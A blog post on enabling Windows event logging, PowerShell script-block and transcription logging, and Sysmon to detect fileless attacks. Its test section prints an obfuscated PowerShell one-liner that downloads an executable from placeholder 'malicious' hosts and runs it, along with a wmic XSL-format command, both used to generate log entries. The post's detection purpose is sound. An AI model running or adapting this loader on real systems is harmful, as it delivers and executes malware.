Written by Admin

Windows event logging and Fileless attacks

Intro:

Welcome back. I’ve been asked lately if I know any techniques to investigate fileless attacks using free tools and I shamefully replied with a “No”. I wasn’t aware of any free and good tools that can accomplish this task of logging PowerShell scripts, WMI commands, process creation , parent processes and command lines.

Lately I came across some ways to make this happen and decided to document this for my own future reference and also help others.

Enable logs:

The answer for this is the Windows OS itself with its event logging capability and a few extra tools available online. (These settings should work from Windows 8.1, not all policies are available in Windows 7)

Aside from enabling some features for the Windows Events, I would suggest installing Sysmon from the SysInternals suite to enable logging of WMI commands. WMI is seen more and more often in malware attacks. Also I would recommend upgrading to PowerShell 5, this version enables more logging functionality.

Open up “Local Group Policy Editor” (gpedit.msc):

    1. Enable Audit Process Creation & Termination
      • Computer Config > Windows Settings > Security Settings > Advanced Audit Policy Ctrl. > System Audit Policies > Detailed Tracking
        • Process Creation (enable both success and failure events)
        • Process Termination (enable both success and failure events)
    2. Add the command line of the process to the logs:
      • Computer Config > Admin. Templates > System > Audit Process Creation > Include command line in process creation events
    3. Upgrade to Powershell 5 & enable audit tools for PS5
      • Comp. Config. > Admin. Templates > Win. Components > Wind. Powershell
        • Turn on Module Logging (set “Module Names” to: *)
        • Turn on PowerShell Script Block Logging
        • Turn on PowersShell Transcription (add a FS path at the output directory setting e.g. “c:\logs\transcriptions\“)
    4. Install Sysmon SysInternals & Log WMI Commands:

Log view:

Use the Windows Event Viewer or even better get the Event Log Explorer to have a better GUI for reading these events.

In Event Viewer / Event Log navigate to the following 3 paths to view the events:

  1. App. & Services Logs
    • Windows Powershell
    • Microsoft/Windows
      • Powershell/Operational
      • Sysmon/Operational
  2. Read Transcript logs from “C:\logs\transcriptions“

Test scenarios:

Now that the logging is enabled, we can test them with some malware examples:

powershell $var45678=new-object Net.WebClient;$var453634='http://malicious.com/samples/sample1.exe@http://malicious.net/samples/sample1.exe'.Split('@');$var456787932='43424234';$var1235554 = 'asd';$asdasdd='423243234234';$var425453=$env:public+'\'+$var1235554+'.exe';foreach($var99888 in $var453634){try{$var45678.DownloadFile($var99888, $var425453);$var3456yd='sdafdsgfg';If ((Get-Item $var425453).length -ge 80000) {Invoke-Item $var425453;$fdsffsdf='eqeqewqwe';break;}}catch{}}$314234234='432423424';
 wmic os get /format:"test.xsl"

Log handling and parsing:

After the above PowerShell script was ran, the appropriate logs were created by the OS and Sysmon:

Logged PowerShell and WMI command lines:

eventlogexplorer2

eventlogexplorer3

Don’t forget about transcription logs which are stored at the path on disk specified in the policy. The fun part about these ones is that they store the base64 encoded commands and their decoded values in the same file.

transcript1

If you need something fast and more helpful in identifying suspicious activity in the system you can use DeepBluCLI. It’s a tool written in PowerShell that points out interesting commands lines that were executed on the host without the need of scrolling through an enormous amount of events and offers a starting point for your forensic investigation.

screenshot 2019-01-18 at 11.17.51

Closing notes:

All of these policies can be pushed through AD GPO to the entire network and then gather the events into a single place. I’m not good with AD and GPOs, but I’m sure that those in need can find a way to make it happen.

Also, the Event Log explorer can read both local and remote logs, as well as EVT and EVTX files, which makes it a must have tool for sysadmins and threat analysts.

Of course attackers can delete logs, but that shouldn’t discourage you from deploying these policies across the network, and now the good part is that the attacker has more logs to clear than normal.

I hope this post is useful for others as well.

C yea…

External link references:

Security articles and white-papers:

Tools:

Leave a comment